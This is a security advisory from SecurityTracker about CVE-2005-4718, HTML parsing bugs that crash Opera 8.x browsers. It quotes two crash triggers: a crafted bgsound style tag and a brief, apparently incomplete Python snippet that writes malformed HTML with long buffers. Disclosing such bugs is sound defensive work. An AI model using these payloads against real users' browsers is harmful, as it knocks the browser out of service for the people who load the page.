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Category:   Application (Web Browser)  >   Opera Vendors:   Opera Software
Opera HTML Parsing Bugs Let Remote Users Deny Service
SecurityTracker Alert ID:  1015067
SecurityTracker URL:
CVE Reference:   CVE-2005-4718   (Links to External Site)
Updated:  Jun 14 2008
Original Entry Date:  Oct 18 2005
Impact:   Denial of service via network
Exploit Included:  Yes  
Version(s): The reports indicate 8.02 and 8.2 as affected versions
Description:   A vulnerability was reported in Opera. A remote user can cause a target user's browser to crash.

A remote user can create HTML that, when loaded by the target user, will cause the target user's browser to crash.

In one example a 'bgsound' tag has a specially crafted style parameter:

<bgsound style="margin:-99;">

In the other example, specially crafted HTML is created with the following scripting code:

html = open("opera.html", "w")
html.write("<html style=\"content: url(0);\">\n")
buff1 = 'A'*32499
buff2 = 'B'*153
html.write("<u "+buff2+">\n")

The original exploit code is available at:

posidron from reported these vulnerabilities.

Impact:   A remote user can cause the target user's browser to crash.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.

 Source Message Contents

[Original Message Not Available for Viewing]

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